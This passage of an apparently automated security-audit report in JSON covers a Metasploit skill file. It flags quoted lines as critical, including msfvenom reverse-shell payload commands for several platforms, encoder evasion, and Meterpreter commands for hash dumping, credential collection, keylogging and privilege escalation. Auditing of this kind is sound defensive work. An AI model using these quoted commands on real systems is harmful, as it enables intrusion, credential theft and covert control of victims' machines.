system."},{"title":"Metasploit framework","locations":[{"file":"SKILL.md","line_end":209,"line_start":209}],"confidence":0.98,"description":"android/meterpreter/reverse_tcp","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system."},{"title":"Metasploit framework","locations":[{"file":"SKILL.md","line_end":212,"line_start":212}],"confidence":0.98,"description":"### Phase 6: Meterpreter Session","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system."},{"title":"Metasploit framework","locations":[{"file":"SKILL.md","line_end":214,"line_start":214}],"confidence":0.98,"description":"Work with Meterpreter post-exploitation:","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system."},{"title":"Metasploit framework","locations":[{"file":"SKILL.md","line_end":217,"line_start":217}],"confidence":0.98,"description":"# After successful exploitation, you get Meterpreter prompt","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system."},{"title":"Metasploit framework","locations":[{"file":"SKILL.md","line_end":221,"line_start":221}],"confidence":0.98,"description":"meterpreter > sysinfo","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system."},{"title":"Metasploit framework","locations":[{"file":"SKILL.md","line_end":222,"line_start":222}],"confidence":0.98,"description":"meterpreter > getuid","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system."},{"title":"Metasploit framework","locations":[{"file":"SKILL.md","line_end":223,"line_start":223}],"confidence":0.98,"description":"meterpreter > getpid","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system."},{"title":"Metasploit framework","locations":[{"file":"SKILL.md","line_end":226,"line_start":226}],"confidence":0.98,"description":"meterpreter > pwd","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system."},{"title":"Metasploit framework","locations":[{"file":"SKILL.md","line_end":227,"line_start":227}],"confidence":0.98,"description":"meterpreter > ls","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system."},{"title":"Metasploit framework","locations":[{"file":"SKILL.md","line_end":228,"line_start":228}],"confidence":0.98,"description":"meterpreter > cd C:\\\\Users","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system."},{"title":"Metasploit framework","locations":[{"file":"SKILL.md","line_end":229,"line_start":229}],"confidence":0.98,"description":"meterpreter > download file.txt /tmp/","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system."},{"title":"Metasploit framework","locations":[{"file":"SKILL.md","line_end":230,"line_start":230}],"confidence":0.98,"description":"meterpreter > upload /tmp/tool.exe C:\\\\","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system."},{"title":"Metasploit framework","locations":[{"file":"SKILL.md","line_end":233,"line_start":233}],"confidence":0.98,"description":"meterpreter > ps","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system."},{"title":"Metasploit framework","locations":[{"file":"SKILL.md","line_end":234,"line_start":234}],"confidence":0.98,"description":"meterpreter > migrate [PID]","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system."},{"title":"Metasploit framework","locations":[{"file":"SKILL.md","line_end":235,"line_start":235}],"confidence":0.98,"description":"meterpreter > kill [PID]","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system."},{"title":"Metasploit framework","locations":[{"file":"SKILL.md","line_end":238,"line_start":238}],"confidence":0.98,"description":"meterpreter > ipconfig","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system."},{"title":"Metasploit framework","locations":[{"file":"SKILL.md","line_end":239,"line_start":239}],"confidence":0.98,"description":"meterpreter > netstat","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system."},{"title":"Metasploit framework","locations":[{"file":"SKILL.md","line_end":240,"line_start":240}],"confidence":0.98,"description":"meterpreter > route","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system."},{"title":"Metasploit framework","locations":[{"file":"SKILL.md","line_end":241,"line_start":241}],"confidence":0.98,"description":"meterpreter > portfwd add -l 8080 -p 80 -r 10.0.0.1","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system."},{"title":"Metasploit framework","locations":[{"file":"SKILL.md","line_end":244,"line_start":244}],"confidence":0.98,"description":"meterpreter > getsystem","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system."},{"title":"Metasploit framework","locations":[{"file":"SKILL.md","line_end":245,"line_start":245}],"confidence":0.98,"description":"meterpreter > getprivs","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system."},{"title":"Metasploit framework","locations":[{"file":"SKILL.md","line_end":248,"line_start":248}],"confidence":0.98,"description":"meterpreter > hashdump","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system."},{"title":"Metasploit framework","locations":[{"file":"SKILL.md","line_end":249,"line_start":249}],"confidence":0.98,"description":"meterpreter > run post/windows/gather/credentials/credential_collector","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system."},{"title":"Metasploit framework","locations":[{"file":"SKILL.md","line_end":252,"line_start":252}],"confidence":0.98,"description":"meterpreter > screenshot","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system."},{"title":"Metasploit framework","locations":[{"file":"SKILL.md","line_end":253,"line_start":253}],"confidence":0.98,"description":"meterpreter > keyscan_start","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system."},{"title":"Metasploit framework","locations":[{"file":"SKILL.md","line_end":254,"line_start":254}],"confidence":0.98,"description":"meterpreter > keyscan_dump","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system."},{"title":"Metasploit framework","locations":[{"file":"SKILL.md","line_end":255,"line_start":255}],"confidence":0.98,"description":"meterpreter > keyscan_stop","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system."},{"title":"Metasploit framework","locations":[{"file":"SKILL.md","line_end":258,"line_start":258}],"confidence":0.98,"description":"meterpreter > shell","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system."},{"title":"Metasploit framework","locations":[{"file":"SKILL.md","line_end":264,"line_start":264}],"confidence":0.98,"description":"meterpreter > background","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system."},{"title":"Metasploit framework","locations":[{"file":"SKILL.md","line_end":322,"line_start":322}],"confidence":0.98,"description":"meterpreter > run post/windows/gather/hashdump","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system."},{"title":"Metasploit framework","locations":[{"file":"SKILL.md","line_end":355,"line_start":355}],"confidence":0.98,"description":"msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe -o shell.exe","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system."},{"title":"Metasploit framework","locations":[{"file":"SKILL.md","line_end":358,"line_start":358}],"confidence":0.98,"description":"msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f elf -o shell.elf","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system."},{"title":"Metasploit framework","locations":[{"file":"SKILL.md","line_end":361,"line_start":361}],"confidence":0.98,"description":"msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.php","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system."},{"title":"Metasploit framework","locations":[{"file":"SKILL.md","line_end":364,"line_start":364}],"confidence":0.98,"description":"msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.py","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system."},{"title":"Metasploit framework","locations":[{"file":"SKILL.md","line_end":367,"line_start":367}],"confidence":0.98,"description":"msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f psh -o shell.ps1","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system."},{"title":"Metasploit framework","locations":[{"file":"SKILL.md","line_end":370,"line_start":370}],"confidence":0.98,"description":"msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f asp -o shell.asp","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system."},{"title":"Metasploit framework","locations":[{"file":"SKILL.md","line_end":373,"line_start":373}],"confidence":0.98,"description":"msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f war -o shell.war","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system."},{"title":"Metasploit framework","locations":[{"file":"SKILL.md","line_end":376,"line_start":376}],"confidence":0.98,"description":"msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -o shell.apk","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system."},{"title":"Metasploit framework","locations":[{"file":"SKILL.md","line_end":379,"line_start":379}],"confidence":0.98,"description":"msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -e x86/shikata_ga_nai -i 5","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system."},{"title":"Metasploit framework","locations":[{"file":"SKILL.md","line_end":395,"line_start":395}],"confidence":0.98,"description":"msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system."},{"title":"Metasploit framework","locations":[{"file":"SKILL.md","line_end":404,"line_start":404}],"confidence":0.98,"description":"[*] Meterpreter session 1 opened","review_kind":"security","source_category":"blocker","source_severity":"critical","confidence_reasoning":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system."},{"title":"System reconnaissance","locations":[{"file":"SKILL.md","line_end":223,"line_start":222}],"confidence":0.99,"description":"meterpreter > getuid","review_kind":"security","source_category":"blocker","source_severity":"low","confidence_reasoning":"The command queries user or process identity on a compromised host. This is genuine post-exploitation system reconnaissance."},{"title":"System reconnaissance","locations":[{"file":"SKILL.md","line_end":225,"line_start":223}],"confidence":0.99,"description":"meterpreter > getpid","review_kind":"security","source_category":"blocker","source_severity":"low","confidence_reasoning":"The command queries user or process identity on a compromised host. This is genuine post-exploitation system reconnaissance."},{"title":"System reconnaissance","locations":[{"file":"SKILL.md","line_end":259,"line_start":259}],"confidence":0.99,"description":"C:\\Windows\\system32> whoami","review_kind":"security","source_category":"blocker","source_severity":"low","confidence_reasoning":"The command queries user or process identity on a compromised host. This is genuine post-exploitation system reconnaissance."},{"title":"Network reconnaissance","locations":[{"file":"SKILL.md","line_end":239,"line_start":239}],"confidence":0.99,"description":"meterpreter > netstat","review_kind":"security","source_category":"blocker","source_severity":"low","confidence_reasoning":"The Meterpreter `netstat` command enumerates network connections on a compromised host. This is genuine post-exploitation network reconnaissance."},{"title":"Network scanning tools","locations":[{"file":"SKILL.md","line_end":428,"line_start":428}],"confidence":0.99,"description":"| `db_nmap` | Run nmap with database |","review_kind":"security","source_category":"blocker","source_severity":"high","confidence_reasoning":"The reference explicitly recommends `db_nmap`, which performs active network scanning and stores results in the Metasploit database."}],"files_scanned":1,"total_lines":497,"audit_model":"codex","audited_at":"2026-08-04T13:58:26.271+00:00","created_at":"2026-08-05T01:14:06.740522+00:00","static_findings":[{"id":"external_commands:SKILL.md:33:ruby-shell-backtick-execution","file":"SKILL.md","pattern":"Ruby/shell backtick execution","snippet":"```bash","category":"external_commands","line_end":37,"severity":"medium","line_start":33},{"id":"external_commands:SKILL.md:37:ruby-shell-backtick-execution","file":"SKILL.md","pattern":"Ruby/shell backtick execution","snippet":"```","category":"external_commands","line_end":41,"severity":"medium","line_start":37},{"id":"external_commands:SKILL.md:41:ruby-shell-backtick-execution","file":"SKILL.md","pattern":"Ruby/shell backtick execution","snippet":"If you want database-backed features such as workspace tracking, initialize `msfdb` using the instru","category":"external_commands","line_end":41,"severity":"medium","line_start":41},{"id":"external_commands:SKILL.md:69:ruby-shell-backtick-execution","file":"SKILL.md","pattern":"Ruby/shell backtick execution","snippet":"```bash","category":"external_commands","line_end":86,"severity":"medium","line_start":69},{"id":"external_commands:SKILL.md:86:ruby-shell-backtick-execution","file":"SKILL.md","pattern":"Ruby/shell backtick execution","snippet":"```","category":"external_commands","line_end":92,"severity":"medium","line_start":86},{"id":"external_commands:SKILL.md:92:ruby-shell-backtick-execution","file":"SKILL.md","pattern":"Ruby/shell backtick execution","snippet":"```bash","category":"external_commands","line_end":118,"severity":"medium","line_start":92},{"id":"external_commands:SKILL.md:118:ruby-shell-backtick-execution","file":"SKILL.md","pattern":"Ruby/shell backtick execution","snippet":"```","category":"external_commands","line_end":124,"severity":"medium","line_start":118},{"id":"external_commands:SKILL.md:124:ruby-shell-backtick-execution","file":"SKILL.md","pattern":"Ruby/shell backtick execution","snippet":"```bash","category":"external_commands","line_end":145,"severity":"medium","line_start":124},{"id":"external_commands:SKILL.md:145:ruby-shell-backtick-execution","file":"SKILL.md","pattern":"Ruby/shell backtick execution","snippet":"```","category":"external_commands","line_end":151,"severity":"medium","line_start":145},{"id":"external_commands:SKILL.md:151:ruby-shell-backtick-execution","file":"SKILL.md","pattern":"Ruby/shell backtick execution","snippet":"```bash","category":"external_commands","line_end":184,"severity":"medium","line_start":151},{"id":"external_commands:SKILL.md:184:ruby-shell-backtick-execution","file":"SKILL.md","pattern":"Ruby/shell backtick execution","snippet":"```","category":"external_commands","line_end":190,"severity":"medium","line_start":184},{"id":"external_commands:SKILL.md:190:ruby-shell-backtick-execution","file":"SKILL.md","pattern":"Ruby/shell backtick execution","snippet":"```bash","category":"external_commands","line_end":210,"severity":"medium","line_start":190},{"id":"external_commands:SKILL.md:210:ruby-shell-backtick-execution","file":"SKILL.md","pattern":"Ruby/shell backtick execution","snippet":"```","category":"external_commands","line_end":216,"severity":"medium","line_start":210},{"id":"external_commands:SKILL.md:216:ruby-shell-backtick-execution","file":"SKILL.md","pattern":"Ruby/shell backtick execution","snippet":"```bash","category":"external_commands","line_end":267,"severity":"medium","line_start":216},{"id":"external_commands:SKILL.md:267:ruby-shell-backtick-execution","file":"SKILL.md","pattern":"Ruby/shell backtick execution","snippet":"```","category":"external_commands","line_end":273,"severity":"medium","line_start":267},{"id":"external_commands:SKILL.md:273:ruby-shell-backtick-execution","file":"SKILL.md","pattern":"Ruby/shell backtick execution","snippet":"```bash","category":"external_commands","line_end":306,"severity":"medium","line_start":273},{"id":"external_commands:SKILL.md:306:ruby-shell-backtick-execution","file":"SKILL.md","pattern":"Ruby/shell backtick execution","snippet":"```","category":"external_commands","line_end":312,"severity":"medium","line_start":306},{"id":"external_commands:SKILL.md:312:ruby-shell-backtick-execution","file":"SKILL.md","pattern":"Ruby/shell backtick execution","snippet":"```bash","category":"external_commands","line_end":347,"severity":"medium","line_start":312},{"id":"external_commands:SKILL.md:347:ruby-shell-backtick-execution","file":"SKILL.md","pattern":"Ruby/shell backtick execution","snippet":"```","category":"external_commands","line_end":353,"severity":"medium","line_start":347},{"id":"external_commands:SKILL.md:353:ruby-shell-backtick-execution","file":"SKILL.md","pattern":"Ruby/shell backtick execution","snippet":"```bash","category":"external_commands","line_end":386,"severity":"medium","line_start":353},{"id":"external_commands:SKILL.md:386:ruby-shell-backtick-execution","file":"SKILL.md","pattern":"Ruby/shell backtick execution","snippet":"```","category":"external_commands","line_end":392,"severity":"medium","line_start":386},{"id":"external_commands:SKILL.md:392:ruby-shell-backtick-execution","file":"SKILL.md","pattern":"Ruby/shell backtick execution","snippet":"```bash","category":"external_commands","line_end":408,"severity":"medium","line_start":392},{"id":"external_commands:SKILL.md:408:ruby-shell-backtick-execution","file":"SKILL.md","pattern":"Ruby/shell backtick execution","snippet":"```","category":"external_commands","line_end":416,"severity":"medium","line_start":408},{"id":"external_commands:SKILL.md:416:ruby-shell-backtick-execution","file":"SKILL.md","pattern":"Ruby/shell backtick execution","snippet":"| `search [term]` | Search for modules |","category":"external_commands","line_end":417,"severity":"medium","line_start":416},{"id":"external_commands:SKILL.md:417:ruby-shell-backtick-execution","file":"SKILL.md","pattern":"Ruby/shell backtick execution","snippet":"| `use [module]` | Select a module |","category":"external_commands","line_end":418,"severity":"medium","line_start":417},{"id":"external_commands:SKILL.md:418:ruby-shell-backtick-execution","file":"SKILL.md","pattern":"Ruby/shell backtick execution","snippet":"| `info` | Display module information |","category":"external_commands","line_end":419,"severity":"medium","line_start":418},{"id":"external_commands:SKILL.md:419:ruby-shell-backtick-execution","file":"SKILL.md","pattern":"Ruby/shell backtick execution","snippet":"| `show options` | Show configurable options |","category":"external_commands","line_end":420,"severity":"medium","line_start":419},{"id":"external_commands:SKILL.md:420:ruby-shell-backtick-execution","file":"SKILL.md","pattern":"Ruby/shell backtick execution","snippet":"| `set [OPT] [val]` | Set option value |","category":"external_commands","line_end":421,"severity":"medium","line_start":420},{"id":"external_commands:SKILL.md:421:ruby-shell-backtick-execution","file":"SKILL.md","pattern":"Ruby/shell backtick execution","snippet":"| `setg [OPT] [val]` | Set global option |","category":"external_commands","line_end":422,"severity":"medium","line_start":421},{"id":"external_commands:SKILL.md:422:ruby-shell-backtick-execution","file":"SKILL.md","pattern":"Ruby/shell backtick execution","snippet":"| `run` / `exploit` | Execute module |","category":"external_commands","line_end":422,"severity":"medium","line_start":422},{"id":"external_commands:SKILL.md:423:ruby-shell-backtick-execution","file":"SKILL.md","pattern":"Ruby/shell backtick execution","snippet":"| `check` | Verify target vulnerability |","category":"external_commands","line_end":424,"severity":"medium","line_start":423},{"id":"external_commands:SKILL.md:424:ruby-shell-backtick-execution","file":"SKILL.md","pattern":"Ruby/shell backtick execution","snippet":"| `back` | Deselect module |","category":"external_commands","line_end":425,"severity":"medium","line_start":424},{"id":"external_commands:SKILL.md:425:ruby-shell-backtick-execution","file":"SKILL.md","pattern":"Ruby/shell backtick execution","snippet":"| `sessions -l` | List active sessions |","category":"external_commands","line_end":426,"severity":"medium","line_start":425},{"id":"external_commands:SKILL.md:426:ruby-shell-backtick-execution","file":"SKILL.md","pattern":"Ruby/shell backtick execution","snippet":"| `sessions -i [N]` | Interact with session |","category":"external_commands","line_end":427,"severity":"medium","line_start":426},{"id":"external_commands:SKILL.md:427:ruby-shell-backtick-execution","file":"SKILL.md","pattern":"Ruby/shell backtick execution","snippet":"| `jobs -l` | List background jobs |","category":"external_commands","line_end":428,"severity":"medium","line_start":427},{"id":"external_commands:SKILL.md:428:ruby-shell-backtick-execution","file":"SKILL.md","pattern":"Ruby/shell backtick execution","snippet":"| `db_nmap` | Run nmap with database |","category":"external_commands","line_end":434,"severity":"medium","line_start":428},{"id":"external_commands:SKILL.md:434:ruby-shell-backtick-execution","file":"SKILL.md","pattern":"Ruby/shell backtick execution","snippet":"| `sysinfo` | System information |","category":"external_commands","line_end":435,"severity":"medium","line_start":434},{"id":"external_commands:SKILL.md:435:ruby-shell-backtick-execution","file":"SKILL.md","pattern":"Ruby/shell backtick execution","snippet":"| `getuid` | Current user |","category":"external_commands","line_end":436,"severity":"medium","line_start":435},{"id":"external_commands:SKILL.md:436:ruby-shell-backtick-execution","file":"SKILL.md","pattern":"Ruby/shell backtick execution","snippet":"| `getsystem` | Attempt privilege escalation |","category":"external_commands","line_end":437,"severity":"medium","line_start":436},{"id":"external_commands:SKILL.md:437:ruby-shell-backtick-execution","file":"SKILL.md","pattern":"Ruby/shell backtick execution","snippet":"| `hashdump` | Dump password hashes |","category":"external_commands","line_end":438,"severity":"medium","line_start":437},{"id":"external_commands:SKILL.md:438:ruby-shell-backtick-execution","file":"SKILL.md","pattern":"Ruby/shell backtick execution","snippet":"| `shell` | Drop to system shell |","category":"external_commands","line_end":439,"severity":"medium","line_start":438},{"id":"external_commands:SKILL.md:439:ruby-shell-backtick-execution","file":"SKILL.md","pattern":"Ruby/shell backtick execution","snippet":"| `upload/download` | File transfer |","category":"external_commands","line_end":440,"severity":"medium","line_start":439},{"id":"external_commands:SKILL.md:440:ruby-shell-backtick-execution","file":"SKILL.md","pattern":"Ruby/shell backtick execution","snippet":"| `screenshot` | Capture screen |","category":"external_commands","line_end":441,"severity":"medium","line_start":440},{"id":"external_commands:SKILL.md:441:ruby-shell-backtick-execution","file":"SKILL.md","pattern":"Ruby/shell backtick execution","snippet":"| `keyscan_start` | Start keylogger |","category":"external_commands","line_end":442,"severity":"medium","line_start":441},{"id":"external_commands:SKILL.md:442:ruby-shell-backtick-execution","file":"SKILL.md","pattern":"Ruby/shell backtick execution","snippet":"| `migrate [PID]` | Move to another process |","category":"external_commands","line_end":443,"severity":"medium","line_start":442},{"id":"external_commands:SKILL.md:443:ruby-shell-backtick-execution","file":"SKILL.md","pattern":"Ruby/shell backtick execution","snippet":"| `background` | Background session |","category":"external_commands","line_end":444,"severity":"medium","line_start":443},{"id":"external_commands:SKILL.md:444:ruby-shell-backtick-execution","file":"SKILL.md","pattern":"Ruby/shell backtick execution","snippet":"| `portfwd` | Port forwarding |","category":"external_commands","line_end":448,"severity":"medium","line_start":444},{"id":"external_commands:SKILL.md:448:ruby-shell-backtick-execution","file":"SKILL.md","pattern":"Ruby/shell backtick execution","snippet":"```bash","category":"external_commands","line_end":464,"severity":"medium","line_start":448},{"id":"external_commands:SKILL.md:464:ruby-shell-backtick-execution","file":"SKILL.md","pattern":"Ruby/shell backtick execution","snippet":"```","category":"external_commands","line_end":490,"severity":"medium","line_start":464},{"id":"external_commands:SKILL.md:490:ruby-shell-backtick-execution","file":"SKILL.md","pattern":"Ruby/shell backtick execution","snippet":"| Database not connected | Run `sudo msfdb init`, start PostgreSQL, then `db_connect` |","category":"external_commands","line_end":490,"severity":"medium","line_start":490},{"id":"external_commands:SKILL.md:491:ruby-shell-backtick-execution","file":"SKILL.md","pattern":"Ruby/shell backtick execution","snippet":"| Exploit fails/no session | Run `check`; verify payload architecture; check firewall; try different","category":"external_commands","line_end":493,"severity":"medium","line_start":491},{"id":"external_commands:SKILL.md:366:powershell-invocation","file":"SKILL.md","pattern":"PowerShell invocation","snippet":"# PowerShell payload","category":"external_commands","line_end":366,"severity":"high","line_start":366},{"id":"external_commands:SKILL.md:490:sudo-privilege-escalation","file":"SKILL.md","pattern":"sudo privilege escalation","snippet":"| Database not connected | Run `sudo msfdb init`, start PostgreSQL, then `db_connect` |","category":"external_commands","line_end":490,"severity":"high","line_start":490},{"id":"network:SKILL.md:159:hardcoded-ip-address","file":"SKILL.md","pattern":"Hardcoded IP address","snippet":"msf6 exploit(...) > set RHOSTS 192.168.1.100","category":"network","line_end":159,"severity":"medium","line_start":159},{"id":"network:SKILL.md:171:hardcoded-ip-address","file":"SKILL.md","pattern":"Hardcoded IP address","snippet":"msf6 exploit(...) > set LHOST 192.168.1.50","category":"network","line_end":171,"severity":"medium","line_start":171},{"id":"network:SKILL.md:241:hardcoded-ip-address","file":"SKILL.md","pattern":"Hardcoded IP address","snippet":"meterpreter > portfwd add -l 8080 -p 80 -r 10.0.0.1","category":"network","line_end":241,"severity":"medium","line_start":241},{"id":"network:SKILL.md:276:hardcoded-ip-address","file":"SKILL.md","pattern":"Hardcoded IP address","snippet":"msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS 192.168.1.0/24","category":"network","line_end":276,"severity":"medium","line_start":276},{"id":"network:SKILL.md:281:hardcoded-ip-address","file":"SKILL.md","pattern":"Hardcoded IP address","snippet":"msf6 auxiliary(...) > set RHOSTS 192.168.1.100","category":"network","line_end":281,"severity":"medium","line_start":281},{"id":"network:SKILL.md:287:hardcoded-ip-address","file":"SKILL.md","pattern":"Hardcoded IP address","snippet":"msf6 auxiliary(...) > set RHOSTS 192.168.1.0/24","category":"network","line_end":287,"severity":"medium","line_start":287},{"id":"network:SKILL.md:292:hardcoded-ip-address","file":"SKILL.md","pattern":"Hardcoded IP address","snippet":"msf6 auxiliary(...) > set RHOSTS 192.168.1.100","category":"network","line_end":292,"severity":"medium","line_start":292},{"id":"network:SKILL.md:297:hardcoded-ip-address","file":"SKILL.md","pattern":"Hardcoded IP address","snippet":"msf6 auxiliary(...) > set RHOSTS 192.168.1.100","category":"network","line_end":297,"severity":"medium","line_start":297},{"id":"network:SKILL.md:302:hardcoded-ip-address","file":"SKILL.md","pattern":"Hardcoded IP address","snippet":"msf6 auxiliary(...) > set RHOSTS 192.168.1.100","category":"network","line_end":302,"severity":"medium","line_start":302},{"id":"network:SKILL.md:355:hardcoded-ip-address","file":"SKILL.md","pattern":"Hardcoded IP address","snippet":"msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe -o shell.exe","category":"network","line_end":355,"severity":"medium","line_start":355},{"id":"network:SKILL.md:358:hardcoded-ip-address","file":"SKILL.md","pattern":"Hardcoded IP address","snippet":"msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f elf -o shell.elf","category":"network","line_end":358,"severity":"medium","line_start":358},{"id":"network:SKILL.md:361:hardcoded-ip-address","file":"SKILL.md","pattern":"Hardcoded IP address","snippet":"msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.php","category":"network","line_end":361,"severity":"medium","line_start":361},{"id":"network:SKILL.md:364:hardcoded-ip-address","file":"SKILL.md","pattern":"Hardcoded IP address","snippet":"msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.py","category":"network","line_end":364,"severity":"medium","line_start":364},{"id":"network:SKILL.md:367:hardcoded-ip-address","file":"SKILL.md","pattern":"Hardcoded IP address","snippet":"msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f psh -o shell.ps1","category":"network","line_end":367,"severity":"medium","line_start":367},{"id":"network:SKILL.md:370:hardcoded-ip-address","file":"SKILL.md","pattern":"Hardcoded IP address","snippet":"msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f asp -o 